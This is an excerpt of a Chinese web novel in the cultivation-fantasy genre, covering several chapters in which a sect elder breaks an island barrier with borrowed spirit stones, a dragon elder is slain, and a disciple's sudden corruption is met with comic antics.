“……?”任行舟闻言再一想这对师徒的情况,没忍住爆了一口粗,“你们断袖不要断过来啊啊啊,我可是有媳妇的!!” “说起来,我们听任前辈你提过那么多遍了,尊夫人是什么样的人?”唐山玉看上去有点好奇,他索性也不找了,也在另一边墙壁那里坐下,和任行舟面对面,只不过他们之间隔了一大段距离。 “这个嘛,哈哈,我媳妇可是天底下最好看的姑娘,我对她的爱太多了,我有点说不完,唐小友你想听哪个?”任行舟倒也没在意,自信地摸了摸下巴,被胡须扎到手后又重新放下。 “随便说说吧,就当故事听了,不过我没有酒,我白听。” “唉……你这小子,算了,要从哪个说起呢……” …… 顾延清拿着剑往岛屿上赶后才发现有个屏障挡住了他的路,他自然也试着砍几剑上去,在发现无用功后就开始保存灵力不再过度使用了。 如果是他本体过来,这等阵法他一剑足矣,只是如今,这具躯壳实在是太不方便了……要怎么办?如果是他亲自过来也是要花上一些时日,只是到了那个时候,怕是有些来不及了。 不过,这具躯壳本就是根据他自己的实力定制的,只要有足够的灵力,的确可以做到真身亲至的程度。 ……问题是,没有足够的灵力啊。 岛进不去,而在外头只有汹涌的海面下的海兽……杀兽取核来吸收? 顾延清将目光投向了下方海域,手上微微握紧了剑,还没等他行动起来的时候,突地,一道传音缓缓进入了他的耳中: “……顾长老?” 是陌生的声音,但是却带着少年人独有的稚嫩和小心翼翼,这种声音顾延清很熟悉,那些随清宗弟子在遇到他的时候,都是这种问候。 于是顾延清顺着那传音的波动方向转过头去,他看到了在远方,几艘灵舟正缓缓地往这里接近,其中的一艘灵舟上似有人在往这里挥手。 不知为何,顾延清笑了一下。 是啊。 天下从不缺英雄少年辈。 天下之大,何不往之。 …… “那真的是顾长老吗?顾长老不是还在宗门吗?你真没看错?”张欣雅瞧着站在那里傻乎乎挥手的江玉瑶,不由得发出一声困惑,不过发问的时候她也在跟着挥手 “真的!顾长老那张脸!我就算死都不会忘记!!”只见江玉瑶一个向日葵猛回头看着张欣雅:“还有那身气质,除了顾长老普天之下还有谁!” “此话也有点道理。”张欣雅思考了一下,无比认真地点了点头。 “玉瑶妹妹,欣雅姑娘,顾长老他好像朝我们这边过来了。”站在旁边的叶玄洲遥遥一望,发现刚刚还飘在那头的顾延清宛若鬼魅一般极速地往这里飞来。 “哎?我就喊一声而已啊……”江玉瑶也没有想过对方会回应自己,甚至还无比热情地飞奔过来。 “许是顾长老有什么急事吧?”李行川在不远处与人下棋,他闻言抬头看了一眼,“过会便可知分晓……程兄,到你了。” 程启风听到这话,便举起棋子瞎下,对,他作为一个合格的瞎子自然是瞎下的,马小桐在旁边兴致勃勃地学习着,她的眼睛无比明亮。 “方安城那家伙去哪里了,元宝,你有看到吗?”陈严还想着找人约战呢,可次次找他都找不到人,这臭小子咋那么能躲。 梅元宝站在一边,她正拿着块饼在那里啃,听到这话左看看右看看,把嘴里的饼咽下去后才开口:“没哇,我没有看到人……” “你已经找了好些天了,歇歇呗,给你饼。”梅元宝把自己的芝麻饼分了一块给陈严。 “堂堂男子汉大丈夫怎么能这样轻易认输,我一定会找到那小子的。”陈严接过那芝麻饼,狠狠地咬了一口,那凶狠的表情仿佛他咬得不是什么饼,而是方安城。 此时此刻方安城正穿着一身黑袍子躲在灵舟的高处,他正为今天也躲过一劫而松口气,突地,他察觉到一抹视线缓缓落在了自己身上,他寻找了一下四周,发现有一个人正站在最高处正挂着白布条。 那人看着他,友好一笑,然后果断地把自己的脖子伸入挂好的白布里头,双脚一蹬,把方安城的魂给险些瞪没了。 “……?!?”方安城上前一步就是一个解救,这个人他也是认识的,不就是那什么问天门的卫朔吗?平时不是还看着挺正常的吗?怎么突然就寻死上了? “你……你……”总之后边的方安城可谓是百思不得其解。 “你真是个好人哇?”卫朔被救下来后,笑容灿烂地看着方安城,非常快速地给人发了一张好人卡,接着就图穷匕见地开口道:“你愿意以后参加我的葬礼吗?” 方安城:? …… “你是说遇到了随清宗的那位天青剑尊了?”盛礼越坐于灵舟上,手上正把玩着一件上好的玉器,他与其他人不同,他待在自己的灵舟上,并没有与随清宗共坐一艘。 “是的,大人。”下属恭恭敬敬地微微俯身,向盛礼越汇报着这一件事。 “想来是那卧吟岛出了点事……”盛礼越稍作思索,笑了一声,将那玉器搁置于桌面上,任由它与桌板碰了个响,“走吧,去看看到底是怎么个事。” “…对了。陛下说了……” “陛下是陛下,我是我,知道你是陛下的狗,犯不着每次都上赶着问候我,我会看着办的,再说了,我瞧着有那么不靠谱吗?嗯?“盛礼越眉头一皱,随后又松开,含笑望向那个下属。 那下属身形一抖,随后继续往下说道:“…陛下……陛下只是说让你多注意着身子……别太劳累……” “……”盛礼越沉默了一下,很是不以为然地挥了挥手:“呵,是要多注意着身子,要是死外头了,他就该重新寻把好用的刀了,那还真是可惜啊…” 最后那声可惜盛礼越说得极为古怪,下属把头又往下低了低,等盛礼越的脚步声越来越远后他才缓缓抬起,下属擦了一把额上的汗,叹道:“哎呦,陛下啊,他是真不愿意听您的好话啊。” 总之,盛礼越走出去没多久,隔着一艘灵舟远远一望,他就在那头随清宗的灵舟上见着了那位天青剑尊,看着就是个人物,身上散发着强者该有的气息。 如果他当初也这般厉害,那么他母亲的结局会不会有所不同呢? 总之,很快那边开始交流起来了,他们说话的时候也没用什么法术避着自己什么,所以盛礼越就干脆站在这里听着了。 还没说几句呢,只见那天青剑尊迫不及待地拿出笔和纸写了一句: “我需要灵石。” …… 盛礼越歪了歪头,心里头难得出现了一丝疑问: 原来剑修无论做到什么份上,都很穷吗? 第228章 拼一下 此时此刻争论剑修穷不穷倒是不重要。 叶玄洲在看到顾延清的要求后,身子一僵,随后难得羞耻地抠了抠自己身上的乾坤袋,而江玉瑶也顿住了,她低下头扣了一下手指。 顾延清:? 这是什么反应? 张欣雅已经和她的小伙伴们站在了远处,并且接过了来自梅元宝的芝麻饼开始啃起来。 “那个,顾长老…就是……那个……”江玉瑶见叶玄洲似是陷入了某种绝望里,她小心翼翼地出声了。 “咳咳,是这样的,顾长老,我们在路上……”李行川见此不妙,当即站起来开口说出实情,“顾长老……我们的灵舟在遭遇一场风暴后损毁严重,物资也损失不少,而我们如今乘坐着的灵舟还是靠…盛道友帮忙才修好的……” “…可恶啊……如果没有那场风暴,我也不会出现这种没有钱的羞耻感。”叶玄洲觉得自己的财力因为现状得不到施展,甚至还不能帮上顾长老的忙。 那可是顾延清啊!! 顾长老难得有忙要他帮,他居然无能为力!! 顾延清闻言自然也沉默了,他是知道这海上风暴确实频繁出现,但这……也太巧了…… 但是目前情况他有点急,于是他又写了一张:真的没有灵石了吗?灵力充沛的物品也行。 “灵力充沛的物品吗?”叶玄洲似乎终于找到了他的用武之地了,他当即拿出自己的炼制过的法宝就要给顾延清送上去。 “省着点吧,就那点法宝的灵力,不出所料是满足不了顾尊者所需的。” “…?!盛礼越!这是我们随清宗的事情!!”叶玄洲本来就因为不能够帮上顾延清长老的忙在暗自悲伤了,现在盛礼越这一激,他顿时就炸毛看过去。 “玄洲哥哥……”江玉瑶扯了扯叶玄洲的衣服角,平息了一点对方的恼羞成怒,“顾长老应当是很急的……但是我们也确实没……” “……玉瑶妹妹,他,他欺负我现在没有钱……”叶玄洲说着就低下头,十分委屈地指向那刚刚落在灵舟上的盛礼越。 江玉瑶看着看着就怜爱了,毕竟这人要脸得很,平时也惯会自恋,现在这一出实在是让他那虚荣心大大的受挫,再加上还是在随清宗弟子们都格外尊敬的顾延清长老面前。 毕竟那可是顾延清啊。 …… 那可是顾延清啊!! “哇,你们的顾长老看上去可真好看,如果他能出席我的葬礼……”卫朔蹲在上头往下看去,开始美好的幻想,才幻想一半呢,他就察觉到旁边那阴暗无比的视线挪动到自己身上。 “……干,干嘛?”虽不怕死但心里因为这视线发怵的卫朔有些结巴地看回去。 然后他就看到了来自方安城那阴沉得像从地狱里头爬出来的模样,他哈哈一笑,嘴角乱扯,一个不露齿的笑容就这样阴森地浮现在方安城的脸上:“不可对顾长老不敬。” 卫朔因为方安城的表情愣了一下,就一下后他的脸就红了起来,死亡有了需求就像鱼儿快活地掉落水里一样:“天啊,刚刚那表情实在是太深得我心了。” “……”方安城沉默了一下,随后毫不犹豫地转身要往下边走去,“那太好了,你得不到的。” “什?!”这话实在是太残酷了,于是卫朔不甘心地追着方安城往下跑去。 而此时此刻的下边已经从随清宗的私事变成了随清宗和朝国的友好交流,但是顾延清有嘴不能言,所以这交流的部分由李行川代劳。 “灵石这部分我自然是可以给尊者准备的,毕竟这也不算什么事,再加上我们朝国亦或是问天门与贵宗门交流颇深,我自是愿意的。”盛礼越就那么微微一点头,这一大串灵石就这样从他手中流走而过。 “不管怎么样,这也是贵国与贵宗的额外支出,我们实在是不愿意亏欠我们的友好朋友,这钱我们会回去后清点好给你们送来。”李行川笑了笑,他说完后抬头看了一眼顾延清,见顾延清点了点头应许了他这个做法,那一刻,李行川的内心就像被一群快乐的小蜜蜂乱扎,麻麻得让人舒服得想要飞天。 “行吧,那这事情稍后再议,来人。”盛礼越抬起手,轻笑间挥了挥手,只见一群手下各自拿出乾坤袋,袋子一扯开,那一堆闪闪发光的灵石就这样喷洒而出,一瞬间就堆满了一大片地方,“放灵石。” “不知顾尊者觉得可还够,不够还有。”盛礼越很是财大气粗地再次让下属拿出下一个乾坤袋,似要再来一场群扯乾坤钱盖世的汹涌。 顾延清微微点了一下头,随后他慢慢地抬起手—— 与此同时,秦兰时已与易非吟交手了几个来回,交手之时叛军首领也来帮忙,打龙族的事情可不能少了它。 另一边的魔物则和慕流月,慕云辰殴打在一块,他们难舍难分,如胶似漆,不容分离半点。 而学长正试图把谢璟和慕轻轻带离战场,但是一个两个都面露不愿意,一副他们还能再战的模样,尤其是慕轻轻顶着个爆炸头面容极为狰狞。 “行行好,这位大少爷,这位公主殿下,这种战斗你们是参与不进去的,除非你们能够到达他们那种水准。”学长非常坚定地继续往远处飞。 “你们的水平还不到位,进去也是要被保护的命,有这力气不如去想想自己接下来还能去干什么。”学长的语气颇有长辈劝告的意味在里头,按理说,它也的确年长,虽还不能修成人形,但在经验之谈上,它可是比爪子上这两个小鬼要老练得多。 谢璟闻言什么也没说,而慕轻轻虽停止了挣扎,但嘴上依旧在说着:“我也不算小了,我都金丹了……出门在外大家都要称我一声仙师呢。” 如果唐山玉在,可能会吐槽一嘴:打架总打高端局可能就是主角的命吧。 不能怪孩子还是金丹,只能怪孩子打的架总在高端局。 “等一下。”谢璟似乎看到了什么眼熟身影,而这道身影正在往那场说他们不能接触的战斗区域跑去,“他不要命了吗?我们下去把他也带走吧。” 学长:“为什么啊?” 慕轻轻:“啥啊?” “我们参与不了进去,他也别想参与进去。”谢璟主打的一个自己得不到,别人也得不到的理念,对着那还在努力往战区狂奔的家伙一指,“所以,他不能进去。” 底下的路仁还在努力狂奔呢,殊不知有人不愿意让他参与进去,或许这就是路人的命运吧,只见他还跑着地时候,一只大鸟就这样落在他的面前,拦住了去路。 “你,你们是谁?”路仁一个猛抬头,看着鸟和人就这样站在他的面前,并且低头看他,眼神都充满着不容违抗的王霸之气。 “我们是……” “不管是谁,我现在急着送药,麻烦让让。”路仁说着,就蹲下来要从学长的胯下爬过去。 学长:? 谢璟:? 慕轻轻:? 不是,那么拼的吗? 对方给你几个钱啊要那么拼命。 第229章 沦陷 路仁最后还是没有从学长的下方蠕动过去,他被谢璟和慕轻轻给压制住了,并且那包药就这样落在了谢璟的手上。 “这药真的有用?”谢璟对于这方面不算很懂,他嗅了几口那药味后就拿远了些,毕竟那味道不算好闻。 “不知道。”路仁回答得很直白。 “这里面不会怪有东西暗害我们秦师叔吧?”慕轻轻伸出手指戳一戳那药包。 “我就是个送药的。”路仁分别回答完俩人的问题后,抬起头往那远处的战场看去,“医师说了,大人的症状比较严重,可能是因为他体内灵力比较多,这包药可以抑制住大人的症状。” “……真能抑制吗?方才我看到的情况……他似乎更为严重了。”谢璟将药包抓在手里,回想起刚刚那匆匆一瞥……说起来,他还没把秦兰时的情况给唐山玉说呢。 “不知道,但是不试试怎么知道不能抑制,反正大人的病就是这样严重啊。”路仁挠了挠头,然后就继续问道:“你们要帮忙把药给送过去吗?这样我就不用过去了,我还有其他事情要做。” “哦?你还有什么事情要做?”慕轻轻闻言看了一眼路仁,随后笑道:“怎么,你们反叛军还有什么工作要去做的?带我一个怎么样?” 路仁瞅了瞅慕轻轻,当然是……不同意啦,只见他摇了摇头,义正言辞地道:“不可,因为这是我们反叛军的事情。” “你以为你是在和谁说话,你是在和……”慕轻轻还想来一番威逼利诱,但是却被谢璟一把捂住了嘴巴。 “好,你去吧,药包我们去送就行,你的实力都没有我们厉害,就不要随便进去了。”谢璟一边捂龙嘴一边掂量了一下这个药包的重量,“那位医师有说这个药包的具体用法吗?” “哦,就,直接吃就行了。”路仁简单地回忆了一下,最后他冲着谢璟他们微微点了点头,“既然如此,那我就先走了。” “……你们为了反抗龙族也真是拼命啊。”谢璟感叹了一声,此时此刻慕轻轻已经挣脱了,她听到这话后还瞪了谢璟一眼。 “不是。” “嗯?” “我们不只是为了反抗龙族。”路仁轻摇头,他看着谢璟,看着慕轻轻,最后拿出自己方才一直别在腰上的武器,“我……一开始不是为了复仇进入反叛军的。” “我和你们龙族也没什么深仇大恨。”路仁说着,像是回忆到了什么,他脸上那种坚定的表情越来越稳,稳得像牢牢盘在悬崖上的岩石,“虽然一开始加入是因为管饭……但是现在的话……” “我觉得我这样做是对的。” 这样说着,这位反叛军小兵走上了属于自己的旅途,他的身影很快就消失在远方,就和众多的反叛军一样,拿起武器,投身于属于自己的战场。 谢璟看着这一幕,再次有感而发:“慕轻轻,你们龙族看起来一直都不做人事啊。” “……龙族做的都是龙事,哪有什么人事。”在沉默里,慕轻轻小小声的补充了一句。 “…我去给人送药了,接下来你怎么样我不管你。”谢璟还在想着兄弟之夫的战损模样,总觉得他身上应是肩负了替兄弟好好守护他道侣的重任。 此时此刻的兄弟之夫秦兰时正因为那要命的黑色裂痕反噬自己痛苦地握着剑靠在反叛军首领身上,与此同时对面的易非吟露出来自反派的邪笑。 “就凭你这副躯体,不如还是先想想怎么保住自己这条小命再说。”易非吟呵呵一笑,生死难料,只见他对着秦兰时和反叛军首领拍出一掌,这一掌的灵力带着毁天灭地之势。 反叛军首领见此一把拽过秦兰时躲了过去,而他们脚下随即出现了深深的掌印,紧接着,又是一掌,魔物在那头咆哮着与两条龙纠缠着一块。 “…那魔物怎么不打这老头,难不成这就是他的秘密武器吗?”反叛军首领啧了一声,显然对这件事很不满,“这龙族内部裂得也太狠了些。” “裂就裂吧,但是……”秦兰时缓缓呼出一口气,他正在试图压制那黑色裂痕的蔓延,但是这些黑色裂痕图他灵力啊,他攻击不太可能不用灵力,所以他好像压制了个寂寞,“最重要的一点是,他应当还藏着些什么……山玉说他必须死,那么今天就算是死我也要……” “呸。”反叛军首领听到这话呸了秦兰时一口,“你别乱发誓,你那个小徒弟知道的话会伤心的,就算是随口一说都不行。” “……我只是在表达我要杀死他的决心…”秦兰时闻言也细想了一下那种状况,顿时身子打了个冷战……天啊,他不敢想。 “我当初那兄长就是发了个不杀龙族仇人终不还的誓言,你猜他后边咋了,没了,尸首都寻不到。”反叛军首领再次拉着秦兰时躲过了一击,一边躲还一边语重心长地拍了拍秦兰时后背,“懂吗?祸从口出。” “所以,别学死人。” 秦兰时:…… 这话里头怨气真是满满,不知道的还以为是仇人呢。 “咳咳咳,放心,我没那么容易死。”秦兰时咳了好几声后笑着道:“比起这个,我觉得易非吟真的不好杀啊,首领,你有什么必杀技可以拿出来使使吗?” “我还以为你会有呢……”反叛军首领顿时瞪大了眼睛,他上看看,下看看,说出了一句让秦兰时无比痛心的话:“我以为你应该比我这个搞叛乱的要有钱啊,你又不用养一大堆人。” “…没有,真没有。”秦兰时心虚地别开视线,随后在易非吟打过来的时候,推开了反叛军首领,俩人就这样一边分开一边躲掉了易非吟的这巴掌,随后俩人各自站在两边,各自拿着自己的武器朝着易非吟冲上去。 易非吟抬起双掌抵挡住,别说,这龙爪子真是带劲,一打二都不带变弱的,易非吟不语,只是一味地出掌。 “…首领,帮个忙,我需要放个大招。”秦兰时和反叛军首领再次回退到空中,再次凑在一块,就在这时,秦兰时笑着开口了。 “对手太强,只能十息。”反叛军首领看了秦兰时脸上的黑色裂痕,没有说什么,而是摆好了战斗的姿势,“不行就走吧,让龙族们互相咬去。” “……如果真能这样就好了。”秦兰时自然也觉得这是个好方法,但是山玉那么急着杀易非吟应该有他的道理。 总之,反叛军首领冲了上去,只见他挥舞着手里的刀劈在了易非吟身上,易非吟自然徒手接住,并且死死地按住刀刃,下一刻,反叛军首领的另一只手不知何时拿出了另一把刀,这刀冲着易非吟的脑袋狠狠砍去,易非吟另一只手抬起来又是一挡。 这下子双手无空,但是这和他与秦兰时双打有什么区别,只见易非吟手上的灵力突然强化了几分,利用这刀刃将反叛军首领腾空举起,又重重地往地上砸去。 反叛军首领见此松开一只手,借着这腾空而起的力狠狠地踢着了易非吟胸口处,直把易非吟踢得往后退了几步。 易非吟冷着眼将反叛军首领连同刀一起甩在了一边,下一刻,秦兰时也蓄力完毕,只见他猛然出现在易非吟的身前,手上的剑也随着疾风呼啸而来。 而易非吟抬手就要挡住,突地,他吐出了一口血,似是有什么东西重创了他,而秦兰时的剑也在此刻捅在了易非吟身上,霎时间,鲜血纷飞如雪夜红梅。 “……”秦兰时显然没想到那么容易,他果断地幻化出一只木剑,由另一只手拿着就这样往易非吟身上砍过去。 易非吟被砍了个正着,而秦兰时抬脚又赏了一下,易非吟就这样毫无反抗之力地飞了出去,飞出去后他狠狠砸在那头的岩石上,不仅口吐鲜血,还满脸的震惊。 “…不…不…可能……”他一边说一边吐着血,狼狈不堪地继续说道:“我的阵法怎么会……” 伴随着他的声音落下,秦兰时仿佛能够听到有什么东西碎掉的声音,他抬头一看,只见那阴沉的乌云被人自上而下劈成了两半,而上方那碎掉的屏障那消散后留存的灵力宛若雨滴般落下。 秦兰时可以感觉到那抹熟悉的气息正朝着这个方向过来,里头的强大让人安心无比,会让人忍不住安静下来,就像细雨拂面,清风伴月来。 “…大师兄……” 这声轻唤仿佛回到了很多年以前,那道身影会将自己护至身后,而出鞘的剑终会指向前方的敌人。 “什么大师兄?咋,原来你不是一个人在看小孩?”非常破坏气氛的反叛军首领走到秦兰时身边提了那么一嘴。 还在怀念中的秦兰时也因为这一嘴,那种回忆的思绪顿时烟消云散,他缓缓转头看了一眼反叛军首领,见这家伙是一副不知道自己方才干了什么的模样。 “…也可以那么说,只不过我大师兄是个大忙人,这次估计是借助法宝才能过来一下吧。”说着,秦兰时看了一眼易非吟那边的情况,见龙要死不活的,他决定拿着剑走上去补刀。 反叛军首领见此也跟着上去补刀。 就这样你一剑,我一刀,龙族长老死翘翘。 而在易非吟死去后,秦兰时可以感觉到自己身体里头的黑色裂痕有缓解的趋势,他当即内心一喜,又补了几下刀,但是很显然死去的易非吟已经不会再回应他了,不过黑色裂痕没有再继续蔓延下去就是了。 “太好了,我回去多吃点药应该就可以了。”秦兰时决定回去后猛灌几大碗苦药,正想着要不要在唐山玉过来之前找个地方躲起来…… “那边你打算怎么办?”反叛军首领指了指上面还在和魔物打斗的两条龙。 “…咋的?你还想打?”秦兰时抬头看了一眼,觉得那边估计也快要分出胜负了,于是他准备找个地儿坐下来歇会。 “不打。”帮龙族忙他是疯了吗?于是反叛军首领也觉得自己也可以稍微歇一会了…… 就在俩人纷纷开始准备找个好位置观摩龙族与魔物打架的时候,突地,秦兰时感觉到心头一热,那是真的热,同心莲在胸口处开朗地发烫,仿佛在告诉主人你要被找到了一样。 “我觉得这个地方不合适我休息……”秦兰时正准备坐下呢就直接站了起来,起来的速度快出残影,把坐下的反叛军首领给吓了一跳。 “啥?” “所以呢,我先……”秦兰时尴尬一笑,当即转身就要走,只见他转了身,就遇到了爱情,熟悉的身影就这样映入了他的眼帘。 秦兰时:…… 唐山玉没有开口说话,只不过他的呼吸声很急促,这让秦兰时愈发地不安,但凡骂一句呢他都不会那么不安。 “…咳咳咳,山玉,那个我……”秦兰时觉得自己的声音可谓是撒娇界楷模,“我不是故意的嘛……” “而且那个情况真的非常危急啊!”秦兰时手脚并用地给唐山玉说完目前的情况,可唐山玉依旧没有出声说话。 “……山玉…我错了……求你说句话吧…”秦兰时可怜兮兮地凑过去,他已经想好自己要跪榴莲认错的方法了。 然而,还没等秦兰时走近几步,他就看到唐山玉猛地捂住了嘴巴就这样弯下腰来,呕吐出了奇怪的黑血,而且这些黑血有越吐越多的趋势。 “咳咳咳……呕…咳咳咳……” “…山玉?”秦兰时看到这种情况,连忙跑过去,他抬起手就想要查看唐山玉的情况,与此同时坐在那头的反叛军首领皱起了眉头,一种古怪的感觉自心头处油然而生。 “等一下!别过去!!”反叛军首领突然发出一声吼,把秦兰时给吓得伸出的手停顿了一下,就那么一下秦兰时就感觉到自己的手腕好像被人给握住了。 低头看去,只见唐山玉和往常一样对他露出温柔的笑容,与此同时他的下巴还有衣服已然被吐出黑血所渗透,不知为何,这些黑血给还在笑着的唐山玉增添了几分诡异。 “师父……”声音里头带着无限的柔情,像极了绚烂暖花里头的带着情人低语的一个吻。 “嗯?”本能的,秦兰时回应了一声。 “喂!!你不觉得他身上的气息非常古怪吗?!”反叛军首领站在远处叫唤着,他有点不敢靠近过去,而唐山玉也听到这话,抬眼朝这里看了过来,只一眼,反叛军首领仿佛嗓子眼被糖堵住一样失了声。 “好像,好像是的。”秦兰时也反应过来了不对劲,只不过在他重新转头看过去的时候,映入他眼帘的是唐山玉那温柔至极的笑意。 “……山玉笑得真好看。”只一秒,秦兰时就沉沦了。 反叛军首领:…… 若是现代人,首领高低得喊一句:我去!死恋爱脑!!! 第230章 今天是个好日子 “……不是,什么情况?”躲在远处围观一切的慕轻轻发出一声困惑,她看着突然出现的唐山玉,心里的疑惑已经不止一星半点了,“他什么时候出现在那里的?谢璟,你刚刚有感觉到吗?” “……没有。”谢璟摇了摇头,显然他也对突然出现的唐山玉表现得十分惊讶,“他到底是怎么回事……?” “你不知道吗?山玉之前不是还给你传音了?”慕轻轻使劲晃了晃谢璟另一只没有拿剑的手臂。 “不知道,他先前就说了一句杀死易非吟就没有别的了。”谢璟认真想了想,什么都没有想出来,“不过按照计划,他应该是和任海在一块。” “…哈?那个任海?他能打得过吗就在一块?”慕轻轻毫不掩饰自己对任海的意见,“既然如此,任海呢?” “没看到他。”谢璟环顾四周,并没有发现有任海的踪迹,“也有可能对方是特地躲起来了,凭借你我的修为是找不出来的……所以,他为什么要躲起来呢?” “好问题,我也想知道。”慕轻轻开始对任海进行一系列的怀疑分析:“那就是山玉的这情况和他有点关系,不然他为什么不光明正大出来,这里又不是没有他的那个自己人。” “……”谢璟上前走了一步,然后就被慕轻轻给拉住了。 “等等,你就这样上前去吗?”慕轻轻显然没有想到谢璟做出决定那么快,她还没想好呢。 “对,我就这样上去,你先静观其变吧。”谢璟不是来拆散这个家的,他是要加入这个家的,总之他摸了摸乾坤袋,下定决心后就扯了一下慕轻轻拉住他的袖子,这一下子就扯离了。 谢璟去了。 顾延清收起了剑,他看着被劈开的屏障,转头看向了站在他后边一脸崇拜的小辈们。 “不愧是顾长老!太棒了!”江玉瑶率先花痴,说出的话语可谓是情真意切,“没想到顾长老借用傀儡之身也能那么厉害。” 这得多亏了充足的灵石。 顾延清微微点了一下头。 “刚刚顾长老那一剑上的灵力实在是太强了,那屏障根本支撑不住。”张欣雅自然也面露慕色,她看着那边裂开的天还有那逐渐消散的屏障,总觉得自己体内有什么东西被点燃了。 顾延清再次点了一下头。 “顾长老此剑中学问颇多,那灵力用量那剑气运行方式都值得我们学习……”虽不是剑修,但是这并不打消李行川想要好好学习的内心。 顾延清…沉默地又点了一下头。 “既然屏障没了,那就进去吧,刚好我们朝国要在这个岛上办点事……”说着,盛礼越就要往前走去,顺便指挥一下他带领的几艘灵舟。 “咳,礼越啊。”程启风就在这个时候走出来了,他清咳了一声稍微掐算了几下,“现在去恐是凶象。” “对哦,这个岛屿为什么要……”马小桐显然也想到了这一点,还没说几句呢,随着那边屏障被打开,被困在里头的海族们全都跑了出来。 只见那些海蛇,海族,水母,海草,蚌壳……等等海族们都一一飞着游着,越过他们所在的几艘灵舟,惊慌得想要去逃命。 “什么情况?”叶玄洲当机立断走上前去,他似是准备拿出护体法宝,但在发现这些海族都不管他们后,这抬起的手才慢慢放下。 “……看来岛上有点东西啊。”盛礼越想了想就开心了起来,“太好了,那么乱看来也没有灵舟非要停在岛外的规矩了,我们直接飞进去吧。” “啊?这,这不好吧?”马小桐闻言一个猛回头,对这个发言有些怂意,“万一,万一只是一点小意外呢?嗯?等等,卫朔??” 在马小桐震惊的眼神下,她看到卫朔率先御剑而起飘至空中,而他所看的方向正是那混乱的中心。 “我感觉到那里有让我安息的气息……”卫朔含情脉脉地看着那里,剑随着嘴动,人已御剑飞出好几里海了。 “等等!!!”马小桐伸出手,就这样看着卫朔的背影离她越来越远,越来越远,最后变成一个猖狂的小黑点。 “…放弃吧。”程启风叹了口气,他抬起手准确无误地摸上了马小桐的脑袋,“反正也死不了。” “可是死不了也会痛啊!!他一痛就会唱大悲咒啊,他一唱大悲咒就喜欢趴我们屋顶上唱啊!!”马小桐觉得不能就这样放任卫朔离开,为了她那婴儿般美好的睡眠。 “跟上去,正好可以趁着这次混乱看看能不能让龙族欠我们人情。”盛礼越站在一边发号施令,嘴角微微上扬了一个弧度。 顾延清则在盛礼越发完话后,再次拿出纸和笔写道:再给我点灵石。 “区区灵石,顾尊者尽可拿去。”盛礼越无比大方地挥了挥手,徒留旁边的叶玄洲在恶狠狠地咬手绢。 “为什么…为什么……如果我的灵石没有丢……”叶玄洲非常渴求一个能够改变过去的神器,但是很显然这种神器并不会出现。 与此同时,秦兰时那边因为谢璟的加入,唐山玉脸上的表情似乎发生了一丝变化,他没有再笑,而是就这样冷冷地看着谢璟。 “山玉……”谢璟走上前去,他一脸严肃地开口了:“你又吃什么了?” 秦兰时:? “你怎么知道他又吃东西了?我怎么没看出来??”秦兰时转头一看,再一看,没有啊,嘴角旁边也没有食物的痕迹啊。 “…秦师叔没有看到吗?他这里……”谢璟抬手指了指唐山玉的胸口,又指了一下自己的眼睛,“有个黑色的东西,我能看到……” “那为什么我看不到!!!”闻言,秦兰时发出绝望的尖叫,“你这样显得我很菜啊!!” “……?没有看到吗?明明就有啊……”谢璟一愣,他低头一看,对啊,那玩意儿就这样在唐山玉的胸口里头徘徊,看上去像是活的,又像是死的。 “不要盯着我道侣的胸口乱看啊!!”秦兰时抬手给人捂住了,不过他手下也没闲着,而是打算输入一点灵力进去打探情况,但是又被唐山玉给握住了。 “你在干什么?不是说好不用灵力了吗?”唐山玉皱起了眉头,显然对这个行为很是不满,随后他又自个儿松手,轻轻拍了拍秦兰时的手背,“乖一点,别让我生气。” “虽然打扰你们谈情说爱非常抱歉……”谢璟这样说着,他看了一眼看似正常的唐山玉,随后他伸出手一把将秦兰时拉了过来,秦兰时没料到,唐山玉也没料到,就这样被谢璟拉了个正着。 就这样,谢璟抬手虚揽了一下秦兰时,随后抬头看着唐山玉:“好,你师父现在就是我的了。” 秦兰时:? 唐山玉:…… “不是!!你干什么?你也学我们搞抽象吗?”秦兰时一脸震惊,好好一个主角被他们影响成什么样了,他都快要不记得书里的疯狗偏执狂谢璟了。 “你看。”谢璟示意秦兰时往唐山玉身上看去,“现在应该能看到?” 秦兰时闻言看了过去,然后他就看到唐山玉面无表情地看着他们,与此同时身上的气息随着灵力的发散逐渐变成了黑色,而他的胸口处正有什么东西在缓缓流动。 “谢璟,你在做什么?”唐山玉说出这句话的时候表情都阴沉了好几个度,阴沉得秦兰时怀疑书里那个疯狗偏执狂就是唐山玉这般模样。 “…因为……”谢璟还想说什么,但是他突然卡壳了一下,随后他从乾坤袋里拿出了一个话本子,翻开了几页,随后定在了某一页上,他照着话本子念道:“因为我觉得你家媳妇也是风韵犹存啊,兄弟,你家媳妇借我睡睡呗。” 秦兰时:…… 他低头缓缓看了一眼话本,天杀的,这不是他某天无聊塞给山玉,单纯想让山玉吃口屎才给的吗?因为这口屎他舍不得不给山玉吃啊,怎么这个话本子在谢璟手上。 你们都私下交易了什么!!! “……秦师叔,你也不想你徒弟知道你和我之间的关系吧?”谢璟顿了顿,他又翻了几页话本,看着上面的标注继续念着。 “……”秦兰时目瞪口呆。 唐山玉……唐山玉还在阴沉,只不过他已经拿出了剑,眼里带着杀意地看着谢璟,还没等谢璟念完,他就举着剑杀了过来,谢璟当机立断地和秦兰时断了,也就是把秦兰时推到一边,手里也话本子也在他举起剑的时候丢到了一边。 俩人来回过了几招,很是热血沸腾。 秦兰时在旁边手指颤抖地捡起了那个话本子,翻开一看,上面写满了来自唐山玉的标注……等等,为什么是唐山玉?? 而还在打着的谢璟开始回忆起了那个夜晚,那个夜晚唐山玉拿着话本翻几页表情就扭曲了几分,他好奇就问了一句,只见那唐山玉眼睛一亮就拿着话本子走过来似乎准备给他普及奇怪的东西。 要知道,谢璟平时都是看纯爱话本的,这种话本子实属难得一见,他看了几眼后就谢绝了,但是也不知当初的唐山玉起了什么心思,硬要他好好钻研。 他烦了,就问这个到底有什么好钻研的。 当初唐山玉义正言辞地回答他:“我跟你讲,这个话本也是有用的好吧,你还记得你上次因为受到魔气影响不清醒的事情吗?” 提到那事谢璟就难受,所以他选择听唐山玉说完,只见唐山玉举起那个话本子晃了晃:“我跟你讲,那是因为我当初没有看过这个话本子,只要念出话本子上的几句话,那么你当初绝对会清醒过来。” “哈?那你给我干什么?你自己留着不就行了?”谢璟不解,但是谢璟嫌弃。 “…那是因为我调查过了,就算身上没有魔血人也会收到魔气的影响而黑化,对了黑化就是你当初那种状态。”唐山玉也不知怎么想的,总之说得还挺有道理,越说越觉得好合适:“如果是我黑化了,听到这几句话,估计我会瞬间被吓清醒了呢。” 